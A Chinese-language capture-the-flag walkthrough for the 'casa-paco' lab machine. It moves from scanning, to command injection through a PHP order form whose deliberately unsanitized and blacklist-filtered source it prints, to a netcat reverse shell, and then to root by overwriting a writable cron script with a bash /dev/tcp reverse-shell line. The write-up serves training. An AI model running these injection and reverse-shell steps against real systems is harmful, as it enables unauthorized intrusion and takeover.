0.简介
靶机:thehackerslabs - casa-paco
难度:初学者
目标 IP:192.168.205.137
本机 IP:192.168.205.141
1.扫描
nmap
起手
┌──(kali㉿kali)-[~/test]
└─$ nmap -sS --min-rate 10000 -p- -Pn 192.168.205.137
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-15 09:41 CST
Nmap scan report for 192.168.205.137
Host is up (0.00084s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:E2:C1:37 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 2.81 seconds
先看80端口,22端口候补
2.踩点
把域名加入hosts
是个点餐的网站,你按照它的提示一直点到下单页,你发现Plato
可以执行命令,但是有限制,连ls
都无法执行,并且无法绕过,爆破一下可执行命令
┌──(kali㉿kali)-[~/test]
└─$ wfuzz -c -u "http://casapaco.thl/llevar.php" -w /usr/share/seclists/Fuzzing/1-4_all_letters_a-z.txt --hc 404 -d "name=a&dish=FUZZ" --hw 89,75
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://casapaco.thl/llevar.php
Total requests: 475254
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000023: 200 32 L 109 W 1276 Ch "w"
000000110: 200 36 L 126 W 1478 Ch "df"
000000125: 200 33 L 95 W 1184 Ch "du"
000000238: 200 31 L 92 W 1202 Ch "id"
000000435: 200 50 L 170 W 1814 Ch "ps"
000000394: 200 31 L 90 W 1156 Ch "od"
000000513: 200 70 L 390 W 5108 Ch "ss"
000000601: 200 31 L 93 W 1172 Ch "wc"
000000581: 200 32 L 173 W 3792 Ch "vi"
000001112: 200 59 L 265 W 2439 Ch "apt"
000001160: 200 34 L 110 W 1476 Ch "arp"
000002956: 200 31 L 95 W 1215 Ch "dir"
(省略)
发现可以执行dir
当你dir
,你就会发现有一个叫llevar1.php
的页面(爆破不出来,只可以这样看),你可以使用od
工具查看他文本
我直接放可读版本了,想看原版的,自己执行一下
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Casa Paco - Para Llevar</title>
<link rel="stylesheet" href="static/styles.css">
</head>
<body>
<header>
<h1>Casa Paco - Pedido para Llevar</h1>
</header>
<main>
<h2>Haz tu pedido para llevar</h2>
<form action="llevar.php" method="POST" class="order-form">
<label for="name">Nombre:</label>
<input type="text" id="name" name="name" placeholder="Tu nombre" required><br>
<label for="dish">Plato:</label>
<input type="text" id="dish" name="dish" placeholder="Ejemplo: Pizza" required><br>
<button type="submit" class="btn">Enviar Pedido</button>
</form>
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$name = htmlspecialchars($_POST["name"]); // Sanitizamos para evitar errores visuales
$dish = $_POST["dish"]; // Intencionalmente sin sanitizar para la vulnerabilidad
// Comando vulnerable
$output = shell_exec("$dish");
echo '<section class="confirmation">';
echo '<h3>Pedido confirmado</h3>';
echo "<p>Gracias, <strong>$name</strong>. Tu pedido de <strong>$dish</strong> está listo para llevar.</p>";
echo '<h3>Salida del Comando:</h3>';
echo "<pre>$output</pre>";
echo '</section>';
}
?>
</main>
<footer>
<p>© 2025 Casa Paco. Todos los derechos reservados.</p>
</footer>
</body>
</html>
实现的和llevar.php
一样,但是他没有限制,但是你不锁死这个网页,他就会把你的命令交给llevar.php
执行,就寄寄,下面是llevar.php
的代码
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Casa Paco - Pedido para Llevar</title>
<link rel="stylesheet" href="static/styles.css">
</head>
<body>
<header>
<h1>Casa Paco - Pedido para Llevar</h1>
</header>
<main>
<h2>Haz tu pedido para llevar</h2>
<form action="llevar.php" method="POST" class="order-form">
<label for="name">Nombre:</label>
<input type="text" id="name" name="name" placeholder="Tu nombre" required><br>
<label for="dish">Plato:</label>
<input type="text" id="dish" name="dish" placeholder="Ejemplo: Cocido" required><br>
<button type="submit" class="btn">Enviar Pedido</button>
</form>
</main>
<?php
if ($_SERVER["REQUEST_METHOD"] === "POST") {
$name = htmlspecialchars($_POST["name"]);
$dish = $_POST["dish"];
// Filtrar comandos potencialmente peligrosos
$blacklist_pattern = '/\b(whoami|ls|pwd|cat|sh|bash)\b/i';
if (preg_match($blacklist_pattern, $dish)) {
die('<p style="color: red;">Error: Pedido comprometido.</p>');
}
// Permitir solo caracteres válidos
$allowed_pattern = '/^[a-zA-Z0-9\s\-_\.]+$/';
if (!preg_match($allowed_pattern, $dish)) {
die('<p style="color: red;">Error: Pedido contiene caracteres no permitidos.</p>');
}
// Ejecutar comando (no debe ser usado en un entorno de producción sin validaciones más estrictas)
$output = shell_exec($dish);
echo '<section class="confirmation">';
echo '<h3>Pedido confirmado</h3>';
echo "<p>Gracias, <strong>$name</strong>. Tu pedido de <strong>$dish</strong> estará listo para llevar.</p>";
echo "<h3>Salida del Comando:</h3>";
echo "<pre>$output</pre>";
echo '</section>';
}
?>
<footer>
<p>© 2025 Casa Paco. Todos los derechos reservados.</p>
</footer>
</body>
</html>
那就简单了我们锁死llevar1.php
提交命令就好了
要进行base64绕过,不然执行不了
┌──(kali㉿kali)-[~/test]
└─$ nc -lvnp 8888
listening on [any] 8888 ...
id
connect to [192.168.205.141] from (UNKNOWN) [192.168.205.137] 45002
bash: cannot set terminal process group (534): Inappropriate ioctl for device
bash: no job control in this shell
www-data@Thehackerslabs-CasaPaco:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
3. 获得稳定的 Shell
获取反向 shell 后,通过以下命令获得稳定的交互式 TTY shell:
script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset xterm
export TERM=xterm
echo $SHELL
export SHELL=/bin/bash
stty rows 59 cols 236
4.提权
www-data@Thehackerslabs-CasaPaco:/var/www/html$ cd /home/
www-data@Thehackerslabs-CasaPaco:/home$ ls -la
total 12
drwxr-xr-x 3 root root 4096 Jan 14 16:52 .
drwxr-xr-x 18 root root 4096 Jan 13 14:47 ..
drwxr-xr-x 3 pacogerente pacogerente 4096 Jan 14 17:08 pacogerente
www-data@Thehackerslabs-CasaPaco:/home$ cd pacogerente/
www-data@Thehackerslabs-CasaPaco:/home/pacogerente$ ls -al
total 36
drwxr-xr-x 3 pacogerente pacogerente 4096 Jan 14 17:08 .
drwxr-xr-x 3 root root 4096 Jan 14 16:52 ..
lrwxrwxrwx 1 root root 9 Jan 14 16:58 .bash_history -> /dev/null
-rw-r--r-- 1 pacogerente pacogerente 220 Mar 29 2024 .bash_logout
-rw-r--r-- 1 pacogerente pacogerente 3526 Mar 29 2024 .bashrc
drwxr-xr-x 3 pacogerente pacogerente 4096 Jan 13 20:24 .local
-rw-r--r-- 1 pacogerente pacogerente 807 Mar 29 2024 .profile
-rwxrw-rw- 1 pacogerente pacogerente 110 Jan 14 16:57 fabada.sh
-rw-r--r-- 1 root root 2417 Jan 15 03:06 log.txt
-rw-r--r-- 1 pacogerente pacogerente 33 Jan 14 17:06 user.txt
www-data@Thehackerslabs-CasaPaco:/home/pacogerente$ cat fabada.sh
#!/bin/bash
# Generar un log de actividad
echo "Ejecutado por cron el: $(date)" >> /home/pacogerente/log.txt
写个脚本覆盖掉fabada.sh
就行了(不要问我为什么不看pspy
,我看它长的都像定时任务☝( ◠‿◠ )☝)
www-data@Thehackerslabs-CasaPaco:/home/pacogerente$ echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.205.141/8889 0>&1' > fabada.
www-data@Thehackerslabs-CasaPaco:/home/pacogerente$ cat fabada.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.205.141/8889 0>&1
等一会,它定时挺快的
┌──(kali㉿kali)-[~/test]
└─$ nc -lvnp 8889
listening on [any] 8889 ...
iconnect to [192.168.205.141] from (UNKNOWN) [192.168.205.137] 42802
bash: no se puede establecer el grupo de proceso de terminal (4096): Función ioctl no apropiada para el dispositivo
bash: no hay control de trabajos en este shell
root@Thehackerslabs-CasaPaco:~# d
id
uid=0(root) gid=0(root) grupos=0(root)
下班